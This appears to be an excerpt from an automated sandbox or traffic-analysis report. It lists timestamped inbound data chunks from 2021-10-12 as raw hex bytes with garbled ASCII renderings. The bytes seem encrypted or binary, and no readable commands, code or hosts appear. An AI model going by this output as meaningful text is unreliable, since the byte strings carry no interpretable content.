4a b6 62 73 b1 46 a3 37 73 23 ed 12 63 29 70 d9 68 d5 1f 43 27 2d 9c 06 70 96 8c 31 f2 b6 ef ca 5e a8 8a ec 49 5d d3 bf 
dc 23 76 ce 51 ca 8d a9 8c fb 38 c0 1f e8 a4 17 c9 70 2f 9e 83 8a ee 45 5f 29 e3 f8 a1 ed 59 99 1b 42 16 fe 94 a3 b2 06 4b
8b a4 9a a9 84 39 67 aa 90 f7 22 bc 1d 0c ed 7d 26 52 d0 48 94 d9 dc f6 56 c3 ab ca 8f b3 a2 f9 1c 17 25 25 3b 83 9d e4 
7f 8d 5b 5e 1d 02 a5 c8 fc 41 a0 a1 8f 3d 53 29 04 6b b1 40 8a 62 74 b9 e4 d4 9c ac 11 0d 29 31 c7 54 6e 3b 35 6c da 25 
52 04 b8 01 a2 10 1c 16 b1 15 28 5b 50 ff f0 39 8c b6 4b 80 61 0d ba 71 3a f6 d1 24 99 83 76 62 3e 63 2f 56 0f 49 e4 b8 fc 
c4 20 00 ff 4e e2 4f f2 39 cf 77 a7 a7 b1 32 
Data Ascii: 'qx$_7t)CAIU>=JbsF7s#c)phC'-p1^I]#vQ8p/E_)YBK9g"}&RHV%%;[^A=S)k@bt)1Tn;5l%R([P9Kaq:$vb>c/VI 
NO9w2

2021-10-12 14:35:51 UTC 67 IN Data Raw: e7 09 4b 79 76 2c 8d 46 c5 4d bc 08 f8 3e bd 99 9a a3 0d 95 ed f9 28 e0 1c 7d 48 ca ac a2 f3 99 ea 2a 13 ae 
62 b2 cb e0 dd dd 5b 79 14 a6 06 26 f8 1b 86 8e 9b 96 21 7d dd 2b ab 07 03 92 2c 88 b0 a9 99 f7 73 fc 61 73 e9 5f 99 ef 
df b4 ec 69 78 6a 76 20 0a 98 7a 46 f7 4f d3 ea 5b 51 40 72 22 02 24 04 05 8a 77 6b f6 a0 32 7b 6a a8 c4 e6 27 97 a6 81 
a1 ee 1e 7b 46 78 ab d2 c5 5a ff 22 e4 5f 93 e9 51 d2 94 55 67 46 86 87 8c 4f 5e 29 9d 26 3d 52 69 ea df 11 c2 6a 0e 5f 
0c fe f1 63 f4 53 00 30 b2 e0 66 f0 f1 e3 01 19 d5 01 71 66 cb f3 dc 34 91 d0 71 2c 1d ba 30 80 ec 91 7d 45 b6 13 94 e9 2c
f3 6a 1c de ef 6f 5b 04 4f 51 34 a0 38 65 b8 2a 36 5e 00 c1 d9 a2 87 38 17 d4 00 e8 02 bc d4 fc f3 4c 93 84 bb 3d 72 fe e0 
40 fa 55 60 26 ba 8b ab 93 a6 cc 9a 67 1b 7a 2b c2 
Data Ascii: Kyv,FM>(}H*b[y&!}+,sas_ixjv zFO[Q@r"$wk2{j'{FxZ"_QUgFO^)&=Rij_cS0fqf4q,0}E,jo[OQ48e*6^8L=r@U`&gz+

2021-10-12 14:35:51 UTC 68 IN Data Raw: 01 c1 c4 3e 73 3c 74 63 f6 04 cf b8 ea 23 a8 cf 07 98 4e c0 28 96 69 bd cd ad 56 f1 d4 9e 9b 4d 7e 28 45 c5 55 
39 3f f1 b0 19 b6 4a b6 62 73 96 5e 90 2b 6b ba d6 05 43 28 71 71 68 f3 1d 7a 83 24 12 bb 46 e4 9a 30 f8 94 14 cf 40 b3 
a7 2e 56 75 cf 96 f8 29 67 cd 2f e8 e0 8e 8b ea 25 c6 c0 ea b6 69 ef 66 a2 93 92 83 80 7d 78 38 cf e5 b7 f9 c3 a5 95 f5 78 
70 84 85 ac 3d e2 a3 b7 91 b6 ae a4 5f c5 88 f7 34 9e a6 04 e7 a9 1f 58 e9 71 83 54 d1 e5 5d ea 96 eb 9e 96 be c0 33 9b 
1a 2f e5 82 39 df 5c 99 32 ec 1d 02 af d7 83 cd 9f a1 8f 3c 72 00 f6 6a 86 4b b0 3e 9e 46 1b c3 95 bf 00 1b 21 17 f9 d1 0d 
3b 35 7d 45 0d 1c 11 cb 66 cc 09 17 1b b2 57 cc 4b 5f dd b3 3b 8e 98 42 98 60 07 a3 4d ef f0 c0 21 9e 84 6c e5 5f 1f c1 
46 1b 55 dc ee fa 08 2f 00 61 09 c9 06 e2 25 cd 
Data Ascii: >s<tc#N(iVM~(EU9?Jbs^+kC(qqhz$F0@.Vu)g/%if}x8xp=_4XqT]3/9\2<rjK>F!;5}EfWK_;B`M!l_FU/a%

2021-10-12 14:35:51 UTC 70 IN Data Raw: 69 79 72 26 af 5c 29 75 05 72 26 9f 62 aa 45 b0 1a c3 a5 b7 17 2b d8 7f 23 dd 37 4e 93 aa 6a 98 d5 52 50 c8 
99 ec 03 80 af 75 bd 6d c0 c9 07 4e 1b fb aa 2d 34 86 e3 96 83 86 44 00 11 d4 bf a5 3e 8f 81 f6 1a f9 a0 8b fa 62 59 8e 7f 
f8 58 e7 03 ef 56 f7 64 de a2 65 fa 1b 66 75 7d f7 49 fa 6e 5e 47 57 04 50 b4 3c d4 79 65 65 65 d7 fa 0b fd 7f a6 56 df a7 
82 a8 13 53 6f 32 63 51 0d 46 dd d4 55 81 d1 71 7f 66 e1 79 51 46 44 65 7f 0c 17 56 d7 5d bc 88 20 2a 2f 84 ee ce 15 39 
86 0b 4e 08 62 03 7b f6 42 00 09 38 70 4e 1c d8 64 0f 31 07 73 8d 6d e3 dd b3 c9 9a da 6a 2a 22 e4 27 8e fb b7 e5 53 87 
bd 62 71 0a db 5b 6f 22 e4 7c 5e 43 8a 50 34 a0 f0 6d d1 fe 37 1f 16 d6 03 b1 95 2b 13 ea 27 e9 02 ac a8 03 f2 5a 9b 8c 
aa 36 1d fe e2 5a f0 2e 60 3f 8a 82 c4 0f a7 cc 90 
Data Ascii: iyr&\)ur&bE+#7NjRPumN-4D>bYXVdefu}In^GWP<yeeeVSo2cQFUqfyQFDeV] */9Nb{B8pNd1smj*"'Sbq[o"|
^CP4m7+'Z6Z.`?

2021-10-12 14:35:51 UTC 71 IN Data Raw: 49 67 47 c9 d0 09 af f6 3f 73 36 67 52 84 ec cd ba ec 2a a1 de 0f 9c 11 ef 29 b9 61 ac c4 2c 39 db c4 88 82 5a 
5e b0 6c c5 55 38 3d f3 b7 6a 9c 66 bf 72 67 85 48 96 bd 78 27 69 2d 72 21 69 85 78 db 00 75 04 06 9c 0c 59 df 8b 28 eb 
96 05 da 56 bf 5c 39 64 54 c8 90 e2 3c 55 58 20 f1 87 a9 9b e2 30 c6 37 fa 9f 0a d6 61 bf a7 b0 8b ef 56 66 2a d6 e6 b0 eb
dd b9 17 bc 16 70 97 87 28 99 f2 51 b3 46 3b 8f b5 58 ab 83 f3 2b 99 b9 04 ed 66 02 62 d5 b8 82 78 d0 fe 41 ad 92 e8 9e 
9a ab fd 18 93 1a 34 33 9d 2a 0b 5d b5 78 f8 05 6d 86 d6 83 c7 80 b7 9c 34 45 10 fe 71 4f 4b 9c 37 9a 41 03 dc e4 23 1c 
09 32 27 ee d9 73 31 cb 7c f9 04 0d 07 a5 1a 51 16 16 05 b3 38 28 42 40 c0 5e 3c a0 a3 22 9b 76 0f 3e ff ef f3 c7 4b 8c 97 
69 61 ce 6f 2f 54 13 5f c6 e1 f1 2c 39 fa e4 47 
Data Ascii: IgG?s6gR*)a,9Z^lU8=jfrgHx'i-r!ixuY(V\9dT<UX 07aVf*p(QF;X+fbxA43*]xm4EqOK7A#2's1|Q8(B@^<"
v>Kiao/T_,9G

2021-10-12 14:35:51 UTC 72 IN Data Raw: 64 d4 29 69 77 1d 84 7e fb d8 51 21 5d 6e 67 22 f6 c2 d5 41 b6 0b 31 21 bb 04 28 93 cf 23 dd 3d 30 6a ba 6f 
84 b2 f3 2e cc 9f f9 2d 28 ec 74 bb 4f 46 ce 16 4d 7f 68 22 2c 3e ef 71 0f 83 8c 46 3b 6b d8 97 bd 15 0e 83 e7 1a f9 10 88 
fa 6e 02 5d 7e f8 58 b1 02 ee 56 fd 7d f1 f5 66 fa 1d 65 e4 71 e6 47 eb 15 5d 47 51 66 a4 a1 14 46 12 98 62 73 50 f5 23 
7e 7a b2 44 e3 0b 25 a8 15 71 ec 19 b9 54 7e bc ca 59 58 ee 2c 71 6b 78 fd 79 71 42 44 69 7f 14 13 56 db 64 3d a4 2e 2d 
5c 7e fc c7 0e 5e 6f 22 d6 06 6a 2d eb 7f 45 06 21 bd 60 5a 0e d8 40 0b 31 0b 14 59 b6 e0 d7 da 22 16 dd 60 22 0b 78 37 
9a d5 3c 6c 57 8d 93 d6 e6 09 d1 4e 17 cf ed 68 7c b4 73 51 32 bc 6b 62 be 00 37 0b 08 d5 f1 01 87 38 1d c6 28 3e 01 ac 
d0 ea 7e 5d 91 84 ba 26 66 ea c8 f9 fa 55 6b 15 16 88 
Data Ascii: d)iw~Q!]ng"A1!(#=0jo.-(tOFMh",>qF;kn]~XV}feqG]GQfFbsP#~zD%qT~YX,qkxyqBDiVd=.-\~^o"j-E!`Z
@1Y"`"x7<lWNh|sQ2kb78(>~]&fUk

2021-10-12 14:35:51 UTC 73 IN Data Raw: ab ae 7a a0 41 a2 87 23 7f c1 07 b1 f3 20 4b aa 76 69 9a 34 ee 6d e0 30 a1 42 1f 81 3e fe 09 6d 63 ac c4 26 
28 d5 ca 86 b1 89 66 a5 6e 59 44 36 33 e2 b1 f0 01 5b b8 7c 7a b3 f1 81 21 62 a8 70 23 7c 32 6e 30 e5 e6 05 74 95 0d 4f 
0c 58 cc 10 20 f6 81 18 d4 04 3e b3 36 57 43 c2 0b e9 2d 69 db 21 b1 13 b8 84 e7 30 c7 44 d0 b3 06 c6 74 ac 88 8d 9c cf 
ce 79 38 c5 72 a1 f4 c2 b9 14 de 06 52 9d 9a ce b2 f4 85 bd b0 78 a4 b5 58 36 81 f8 2e 8b dd 90 fc 79 11 62 82 da 92 5a 
c7 e9 1a 5e a9 e7 83 8f f3 74 1a 95 04 05 c2 82 3f f5 c0 88 7d ef 14 22 46 d7 83 cd 03 b0 81 23 4f 1e f8 f6 a0 44 af 35 ab 
c4 1b c3 8f 23 11 14 25 2b df 25 6c 3b 35 e1 c4 03 03 0d a7 6c 51 18 13 09 b5 27 75 d6 4e d9 bf 32 ac 5b 24 99 60 91 a1 
46 ed f3 d6 57 05 94 69 6d fb 74 e9 53 3e 77 e0 e9 ed 
Data Ascii: zA# Kvi4m0B>mc&(fnYD63[|z!bp#|2n0tOX >6WC-i!0Dty8rRxX6.ybZ^t?}"F#OD5#%+%l;5lQ'uN2[$`FWimtS>w

2021-10-12 14:35:51 UTC 75 IN Data Raw: b5 25 29 67 26 1d d4 05 6d 4d 17 82 7a 3a 5b 51 0d 5f 53 74 0d 1a 4d fe 41 b0 07 db 3b b4 e6 2c ab 83 82 dd 
3d 30 1d 11 6a 92 d7 71 30 d0 b1 51 2b 00 a1 7f bd 6d f6 ce 07 4e 40 b9 ab 2d 34 9a 08 95 83 86 41 21 03 c7 bd a3 1c 23 
89 de be d5 37 8e d2 7c 28 72 74 ff 78 81 d6 4d 52 fd 6a 99 c4 63 fa 17 5d fb 6f e4 44 ea 65 5c 47 51 66 a0 a4 37 44 05 
9c 75 61 b2 e8 21 7e 71 b5 5e e1 30 8b 90 66 7a f8 31 72 59 6f b7 46 c7 59 ff 2a 1f f3 6d e9 5b fa e6 40 63 51 a0 ad 56 d1 
7f 2a 89 31 29 74 49 ef ce 15 6f 3c 0b 4e 02 19 fc fc f2 48 15 26 ad 73 5a 32 8c e1 0b 37 16 8d 76 6c e3 d6 cf 3b 8a d5 76 
33 0f ce 32 81 ee 8f 7d 47 93 af 5d 6b 26 db 5d 1d cd f4 6d 45 3a 60 cd 25 bb f1 4d 19 00 36 15 3a d0 c8 b4 17 14 08 c3 
10 fe 98 84 c7 fc f3 50 41 91 bb 32 73 d6 f4 5a fa 
Data Ascii: %)g&mMz:[Q_StMA;,=0jq0Q+mN@-4A!#7|(rtxMRjc]oDe\GQf7Dua!~q^0fz1rYoFY*m[@cQV*1)tIo<NH&sZ27
vl;v32}G]k&]mE:`%M6:PA2sZ

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 76 IN Data Raw: cf 0f cb e1 3f f0 12 6b ae 4f 9e 0f 41 e3 da 0b ba f0 17 e1 37 67 6d ea 3a cf b8 ea 3a 7f d2 26 b8 21 e9 23 be 5b 
ac c4 b0 e7 db d3 b4 91 53 76 a5 6e c5 55 38 2c ee bb 94 91 50 b6 63 61 8d 55 a9 3d 60 34 6b 07 70 19 72 7b dc f5 0b 
6b 2a 2d 9c 1d 4e c1 b4 a6 fa 9e 05 cb 57 bd b3 c6 49 71 d7 47 da 23 76 c6 16 f6 8f a9 80 e6 30 c5 c4 fb ba 19 d7 99 a3 
b5 96 8e c7 6f 7c 38 c3 f8 98 d4 d5 a6 11 54 57 f2 84 85 a6 31 f4 86 a4 99 a9 af 4b 59 86 9e 26 2e 94 aa 0e c5 63 0a 7d 
cb 4a 9c 58 d6 f6 5f dd b5 17 9f bc a6 ec 23 a3 1f 25 3d 94 17 db 5c 99 79 e6 2e bc b0 d9 8e cd 96 be 94 c2 44 2d fe 52 
9d 48 b0 3e 94 5a 16 c3 86 a0 15 e4 3b 0b f7 e9 70 39 35 7d ca 1b 11 00 b1 1f 33 08 31 12 af 34 20 47 5f de bf 31 72 b1 
08 91 58 0c b2 48 fe e9 dc 29 88 9c 76 61 16 71 1b 55 
Data Ascii: ?kOA7gm::&!#[SvnU8,PcaU=`4kpr{k*-NWIqG#v0o|8TW1KY&.c}JX_#%=\y.D-RH>Z;p95}314 G_1rXH)vaqU

2021-10-12 14:35:51 UTC 77 IN Data Raw: d9 49 18 4c 77 53 29 05 6c 28 e8 d5 2e 79 a4 1b ae 71 31 ae 50 26 45 86 77 0a 9b 61 d6 6a 53 1e 90 5b b4 17 
29 81 a1 20 de 40 48 6e ab 6e b8 dd 7a 2f df a9 e8 2b 28 ab 75 bb 43 57 ca 16 5e 63 2c b0 2d 39 fe e0 96 af 8e 54 23 6c 
d7 a9 5d 17 22 87 e1 17 d1 30 90 04 65 06 70 55 fa 79 6b fc 95 3c fd 6c f2 f7 43 f8 1e 33 9d 79 f7 4b f8 f9 5d 47 42 47 ae 
b5 14 de 16 98 62 65 dd e3 35 75 50 bd 50 f0 34 78 a9 39 79 e0 3a 63 50 68 44 dd f8 5d f9 27 70 78 74 17 50 fe 40 6f 61 
7c 6b 11 2d ba 75 39 88 0a 0e 5e 7b 92 a5 1f 56 7f 20 4e 02 6a 38 cd f0 42 2e 21 bc 74 eb 1a f0 f2 1d 3a 2a 1b 71 6b f4 
29 dd 18 99 c2 6b 22 0d 7a dd 8f d1 9d 7b 5c 87 bc 52 18 08 f7 5f 37 dc ce 9f 56 57 1b 51 34 ae cc 47 bc 03 4b 73 1c c1 
dd 88 87 38 17 c1 30 ea 02 84 d6 fc f3 cb 91 84 aa 24 
Data Ascii: ILwS)l(.yq1P&EwajS[) @Hnnz/+(uCW^c,-9T#l]"0epUyk<lC3yK]GBGbe5uPP4x9y:cPhD]'pxtP@oa|k-u9^{V 
Nj8B.!t:*qk)k"z{\R_7VWQ4GKs80$

2021-10-12 14:35:51 UTC 79 IN Data Raw: 57 9a 38 6e 85 cb 0f e2 e2 12 fb 1a 55 ab 5e b0 eb 67 e1 d0 03 d4 e4 4c 22 37 67 61 ea 61 cf b8 e6 32 a2 f6 
4c 8a 21 ef 46 be 61 ac ce d5 02 da d5 98 93 3d 24 a4 6e c3 56 10 13 fe ae 92 f2 62 b4 63 6a fc 04 80 21 64 36 0e 6f 62 
29 77 78 51 b7 0e 6b 8f 42 b4 0e 58 c6 e3 64 f9 9e 03 c9 31 e0 a3 38 4e 5e f1 d6 fd 23 70 ab 16 e0 8f a3 e5 bd 2e d7 cf 
d1 ad 15 f7 65 a2 b1 83 8a ef 5e 79 38 d4 f8 bb d1 ce a6 1c 55 e9 5d a9 87 be 25 e5 8c b2 6e b7 88 b7 4f a1 90 f1 2c 6a 
ab 20 ef 5c 08 56 22 44 f8 2f db f6 52 e8 9a eb 9d ed cf e8 0b 9f 30 25 3b 82 2c c5 5e 99 5b f0 1d 02 a7 d7 83 dc 89 aa a4 
27 45 06 e1 94 b0 66 b2 26 80 46 1c d5 71 be 2c 18 2d 2c ff d6 74 c5 34 51 d7 26 1e 2b 5b 05 b6 75 1d 16 bf 12 1b 48 5c 
aa dc 3d 8c b4 0e 99 60 0d a3 78 fc f6 f9 24 88 95 61 
Data Ascii: W8nU^gL"7gaa2L!Fa=$nVbcj!d6ob)wxQkBXd18N^#p.e^y8U]%nO,j \V"D/R0%;,^['Ef&Fq,-,t4Q&+[uH\=`x$a

2021-10-12 14:35:51 UTC 80 IN Data Raw: c6 83 db f9 17 6e 54 07 5f 40 4a 28 29 6e ac e5 ca 3c 4f e8 1a 82 73 ba a3 4f 37 42 6b ea 20 86 5d f4 e4 b0 1c 
eb ae b2 08 35 8b 33 22 dd 3d bd 68 b4 73 8d a4 e6 29 d3 83 ca c5 00 ab 75 27 43 48 d1 18 07 f4 01 b4 31 21 e6 82 91 
9c 91 53 69 f0 d6 a0 bd 09 1b 19 f0 03 ce 17 65 fa 64 2a ee 78 e7 72 97 85 72 50 e2 4d e9 c9 fd fc 02 6c d7 f5 f7 4f d2 65 
5b 58 72 57 49 b5 3c de 8a 9e 7b 41 c2 b9 bf 78 64 83 4f b1 bf 80 b7 33 64 f5 ad 65 48 59 9a 1d d4 5f ee b0 76 60 44 c9 
df d2 42 44 ff 51 97 3a 76 2f 75 39 8c bc 2a 43 52 cf 18 1f 56 7b 96 48 1d 41 0b 1a f2 42 06 bd ba 6b 62 05 d7 7f 0d 2e 2c 
1f 04 f0 e5 c8 f2 28 07 dc 7f 0d 2a e7 23 8e fd 03 6a 48 b7 a4 03 7a 0f c4 6c 0a 42 e3 63 66 0c ab 51 34 aa 7a 63 a1 33 
29 10 80 c7 c6 96 98 08 8b d4 1f dd 22 0c d6 fc f3 
Data Ascii: nT_@J()n<OsO7Bk ]53"=hs)u'CH1!Sied*xrrPMlOe[XrWI<{AxdO3deHY_v`DBDQ:v/u9*CRV{HABkb.,(*#jH
zlBcfQ4zc3)"

2021-10-12 14:35:51 UTC 81 IN Data Raw: 6e 96 55 4b cb 48 91 29 4d 92 da 04 f4 1f 3e dc 23 7a ab 76 03 9c 41 e5 f8 7d ae e6 35 60 30 7a 74 8e 22 df 
b3 f8 ce a0 f2 04 8d 09 7c 29 96 69 a0 dd a9 32 db c4 95 8e 42 98 a4 42 cf 44 30 3b 2d bd 9c 82 5b a5 68 60 82 5c 9e 2a 
9c 35 4d 32 72 2e 77 6a 71 6d 23 dd 8d 2d 9a 24 ef c8 8c 37 ee b6 6a ca 5e a4 cd 1c 4a 5d df 88 f4 30 7d c4 2f e9 99 57 
8b c6 2c c0 da f0 b3 17 cc 78 b0 67 82 a6 ed 7d 7c 00 e1 10 4f 05 dc 8c 1b 42 04 6c 80 85 ef 2e e5 8b 0f 90 b6 b5 a3 54 
81 a1 f6 3c 8c 54 0d c1 78 08 03 67 46 83 50 cd de c4 c3 b8 e3 95 89 b8 e8 03 8c e4 24 17 80 27 f9 5c 91 65 0e 1c 2e ad 
c0 8f cd 97 b8 71 3d 69 03 dd 68 9a 87 98 a9 8b 46 11 c4 95 b8 8e ad 20 fd 90 c5 6d 3b 3f 57 d5 0d 1c 13 88 02 cd fc 1d 
16 bb 94 39 4a 4e c1 ad 16 cf b0 2d 83 9e 0c 9c 4c e8 dc 
Data Ascii: nUKH)M>#zvA}5`0zt"|)i2BBD0;-[h`\*5M2r.wjqm#-$7j^J]0}/W,xg}|OBl.T<TxgFP$'\e.q=ihF m;?W9JN-L

2021-10-12 14:35:51 UTC 82 IN Data Raw: d4 0f f6 0e 31 6a 54 f3 b4 42 e4 03 2a ea ea ee 8d c9 3e 0b 33 62 1e 5e 5d 1f 35 35 2e fd fe d9 ae 76 f9 24 92 
20 2a da 48 3f b9 58 55 90 26 72 76 23 90 d5 72 7c 2c ae f0 b6 00 26 0b db 7e ed 10 ab 52 ae 35 d9 8c ef 03 c8 9d c7 76 
61 7e 4a ba cf 7b 77 07 39 0a 33 a8 ab 0a 5c a6 f3 0f 28 2a 5c 24 a1 88 f7 b6 2e 96 b3 31 70 5f 09 f7 46 19 5c 40 40 21 
25 90 ac c2 b8 b9 92 a0 38 56 e2 ef e8 93 62 a3 cf b6 39 99 aa b4 3e 44 91 3d 54 99 e3 39 ea e1 35 9f fe 6b ae 54 a7 88 
56 35 c3 19 bf f6 2e 61 04 bb 14 39 22 ce b2 ed 26 a6 b1 39 8d 21 e3 3e 4c 70 bf d7 b6 01 34 d5 9e 91 55 77 a9 01 f1 57 
38 26 d3 13 90 9d 4c a0 4b 4e 93 57 8b 37 51 3f 68 05 dd 2d 71 7d 16 3b 0b 6b 83 2a 8d 00 37 f8 8e 31 f2 b6 ba cf 5e a4 
b4 10 66 5d d9 9d ee 10 7d cd 16 22 8b a9 8c 85 e3 d7 
Data Ascii: 1jTB*>3b^]55.v$ *H?XU&rv#r|,&~R5va~J{w93\(*\$.1p_F\@@!%8Vb9>D=T95kTV5.a9"&9!>Lp4UwW8&LKN
W7Q?h-q};k*71^f]}"

2021-10-12 14:35:51 UTC 83 IN Data Raw: a4 16 af a8 a6 da 10 f3 c0 1b 18 36 3f 3a 66 dd df e1 ec 84 2f 8b 12 ef 7b dd a7 47 07 5d c1 3c 8d be 0f 94 d5 
71 a5 1d 7c 0d ac 89 14 d8 f0 68 0b 19 93 a1 b5 ee 00 97 a7 db 09 0a a5 f8 00 f0 b7 f3 d9 b9 ba 9d d8 d9 8c 01 68 34 90 
ca 37 7e 79 ca 0f f9 9b c8 2e 73 79 ad 36 e0 03 b2 d9 01 ab 6d ca 71 8f 7e a5 f1 83 d4 a5 f2 4a a7 4c c0 19 90 5a cd 53 
c0 b3 c3 fe 38 b2 68 ba c3 dd 65 c7 ba 2b 6e 1e 78 ab ff e0 fc 50 94 5a 85 c4 fb 07 ea ac 19 67 6a a9 3f ff 90 3b e1 d5 30 
7c 53 1a 93 7a 3f 5b 51 0d 56 66 fb 0d 99 4a d5 52 b5 06 f8 3b b4 06 24 b0 7d 23 f1 38 37 64 b7 79 9b dd 6b 26 d2 67 eb 
07 30 ba 71 ac c9 68 ca 07 49 7e 2f 5a 2c 3e e3 27 0d 83 8c 4c 39 69 c6 bd d8 d0 0e 85 f2 1f 40 28 f7 a5 d0 b6 63 7b ee 
7a b3 ff ee 5c d7 73 ff ce 68 fa 0c 47 ed 87 f6 63 
Data Ascii: 6?:f/{G]<q|hh47~y.sy6mq~JLZS8he+nxPZgj?;0|Sz?[QVfJR;$}#87dyk&g0qhI~/Z,>'L9i@(c{z\shGc

2021-10-12 14:35:51 UTC 84 IN Data Raw: 07 d2 64 44 79 eb 04 e1 92 48 4c 45 f7 be 7b a0 17 d4 e1 cf f5 0c a9 05 09 22 6c 2d e0 5e 33 3d 36 6d d4 75 
da 8d 6f 74 a3 fe a4 c0 d8 4e ba 6b 8d 55 81 20 13 d3 30 9f df 75 5b 1d bf 0e bd 3a 31 29 de 8c 38 10 ab 59 a9 15 f1 00 
a9 09 de af ed eb 6e 7a 3e 01 fc 7a 7d 1b 06 a8 0c a8 a1 1d 47 9e da 21 20 02 00 2e 7c 2d 9a 37 2f 95 a6 ba 3c e3 09 f6 
5f 14 52 55 40 3f 33 92 b3 cc 98 28 5a 8c 68 5e 8a 34 c3 8d 77 ba cf a2 80 f7 80 b4 34 55 b2 29 47 92 c1 0d 93 27 3f f0 
36 6d dd 60 b4 98 4b f2 d5 7a 91 e4 3f 79 1e 27 65 85 28 c7 ae 76 43 9e dc 0e 85 09 a9 2b 96 69 84 85 b8 39 d1 dc 89 07 
e5 09 b1 6f c5 5f 45 ff fb ae 90 82 78 a5 6c 60 82 58 9e 66 9c 35 4d 1a 61 2b 60 71 63 98 8f 6a 89 2b ef 32 5a cc 86 4f ba 
9c 05 c1 76 e1 a0 38 42 5f a2 50 f8 23 72 b7 7a e0 8f 
Data Ascii: dDyHLE{"l-^3=6muotNkU 0u[:1)8Ynz>z}G! .|-7/<_RU@?3(Zh^4w4U)G'?6m`Kz?y'e(vC+i9o_Exl`Xf5Ma
+`qcj+2ZOv8B_P#rz

2021-10-12 14:35:51 UTC 86 IN Data Raw: 30 f4 52 3e 22 a4 11 88 83 07 c5 59 fa 31 1a 25 20 23 02 86 0a ff e3 ff 25 2a 89 69 36 47 ce ac c9 a1 45 04 3b 
78 a9 09 90 da 0a 64 06 82 08 f3 ae 14 a3 3c 16 49 1f 94 3a bd 29 02 97 ad 92 69 a9 a6 f8 00 c1 ac e7 fc a5 a6 92 ce db 
8c 01 68 21 91 d9 44 90 23 ca 0b 7d 43 78 9a 6a 72 21 00 f6 fd b2 e6 05 a3 7b d9 77 93 91 ab c2 c1 01 a6 f5 c7 98 e4 12 
12 97 4d bd df cc ad 04 db 27 93 a6 bd ef 64 5c f1 40 67 91 01 5a ae e3 e9 d5 bd 8b 41 7b c5 c6 12 fb 43 11 49 71 a5 00 
73 6e 30 e9 c4 2f 47 00 1a 82 79 49 27 51 21 5b e7 69 3a 8a 45 d4 50 bf 03 fb cc b5 3b 38 a9 85 a6 cc 35 09 34 ab 6a 98 
b2 f8 2e cc 9f f9 2c 1f ba 66 b4 45 46 c5 18 68 96 06 87 0c 37 f8 17 9e 92 85 da 37 60 ba 65 cf 35 0e 85 f6 1c d1 37 88 ba 
3f 02 e3 7e f8 58 31 61 f1 77 ee 63 f6 cc 6e e5 3c 
Data Ascii: 0R>"Y1% #%*i6GE;xd<I:)ih!D#}Cxjr!{wM'd\@gZA{CIqsn0/GyI'Q![i:EP;854j.,fEFh77`e57?~X1awcn<

2021-10-12 14:35:51 UTC 87 IN Data Raw: ee 0b 33 3b cb 02 ec da 47 55 e2 1a e5 0b 3b 62 48 e8 f9 ad e1 39 d6 c0 c3 d5 02 29 c5 f4 08 66 05 a0 47 03 
30 1e 5d d1 75 d0 32 76 e2 05 93 5b 07 d8 48 3b 15 dc c4 9e 29 4c a1 25 90 df 66 57 71 90 f2 bc 1c 11 41 ab 3f 7c 10 a1 
70 f8 1f f7 86 c7 48 dc ae cf 45 01 fe 35 29 c9 08 43 13 11 2e 4d ea a3 1c 65 85 98 23 2a 20 d6 ce 7c 27 f4 ba 38 98 a2 4d 
c8 e3 09 f3 60 57 4f 3c 98 30 33 87 32 64 a4 d4 59 db f3 5c f1 f9 b7 0c 73 b2 df a4 2d b3 ab b4 30 d9 2d b6 79 92 cb 0e 
e0 c9 0c f1 32 61 86 04 b6 98 4b f4 06 84 84 e6 3f 71 1e 2d 65 85 28 ba 9b e0 30 ba a3 c5 8f 21 ed 02 85 61 a4 ec e0 39 
db df 89 47 df 4c a5 6e c7 28 f3 2c fb aa 82 95 62 ec 63 60 99 44 90 32 64 0c f0 28 63 29 73 78 0a c9 09 6b 83 33 f6 7f 67 
ce 8c 3b d0 de 07 cb 54 b3 a4 20 90 2e 9d 95 f8 29 
Data Ascii: 3;GU;bH9)fG0]u2v[H;)L%fWqA?|pHE5)C.Me#* |'8M`WO<032dY\s-0-y2aK?q-e(0!a9GLn(,bc`D2d(c)sxk3g;T .)

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 88 IN Data Raw: a5 be 36 cb 06 cf f5 7e 36 48 68 00 85 b6 d8 e4 1b e9 34 03 5e 5c 03 3b 78 01 fb ad c5 d9 22 9f 29 24 7a dd a3
cb cb 81 1b 0d 82 a1 34 89 0e fe 86 06 82 0e fb 40 16 a3 32 79 06 35 dd 32 95 64 02 ec 61 84 29 8e a2 8b 3e dc 9b fe e2 
ad c4 a2 d3 c1 78 28 04 3b 93 c2 5d bc 0a 8e 09 77 26 d1 db 68 74 a7 17 b7 ff b3 ff 12 b9 71 c7 f7 ba 80 a4 df fa 32 a7 d9 
ca 17 34 02 13 97 58 5e f4 6c ad 15 d4 3a da 93 bc c3 69 6d d6 bc 4e e1 34 69 bd ee 92 14 b2 94 5e 94 c9 c2 49 f3 52 12 
49 1b 6b 28 29 6a 37 90 eb 2b 6f 50 0b 8a 00 19 a7 50 2b 75 38 74 26 93 5b d0 32 f4 1e eb 38 9c 57 2f ab 89 0a 9c 3f 21 
64 ba 6f 83 d0 f5 06 cc 99 e8 50 cd ab 75 bf f2 38 de 06 48 62 a5 80 79 3c 92 d5 97 83 88 45 39 6a 06 30 89 16 0e 87 8d 
cc d1 37 8c eb 69 28 75 0d c6 50 88 f4 ff 5e 8e 53 
Data Ascii: 6~6Hh4^\;x")$z4@2y52da)>x(;]w&htq24X^l:imN4i^IRIk()j7+oPP+u8t&[28W/?!doPu8Hby<E9j07i(uP^S

2021-10-12 14:35:51 UTC 89 IN Data Raw: 04 68 fa 07 cd f8 0f ac 17 d1 1c f3 33 dc 51 f0 0d f6 0e 28 76 6f e6 b4 53 ea b7 d2 fa c2 77 8e f2 f7 0f 22 60 12 
2d 5b 33 37 1f 3f dc 64 da 92 5e 2c 10 91 26 63 c9 42 2b 02 4c 7d 22 24 0c ef 35 1c e0 64 54 03 b8 d8 4d 17 08 21 f4 02 
55 55 a9 5a c3 d1 f7 8c eb 7d 5f ae c5 5c 7f 7e 23 ff 42 6e 7d 11 10 0c 79 aa a1 16 1b 8c db 21 31 57 96 2e 7c 23 f7 cd e2 
95 a0 32 12 e7 0f e6 48 88 65 db 53 30 39 21 ad d7 be 00 48 a4 29 58 e0 f5 fd c0 8d 4d 21 a4 54 03 62 b4 34 53 9d b5 6d 
92 cb 0d 93 34 3f f0 36 7c c4 84 b4 e3 86 e3 d0 0d c0 3e 85 1c b0 66 67 83 08 ce ab d0 32 a1 f4 0e 8f 21 ef 29 96 72 ba cf 
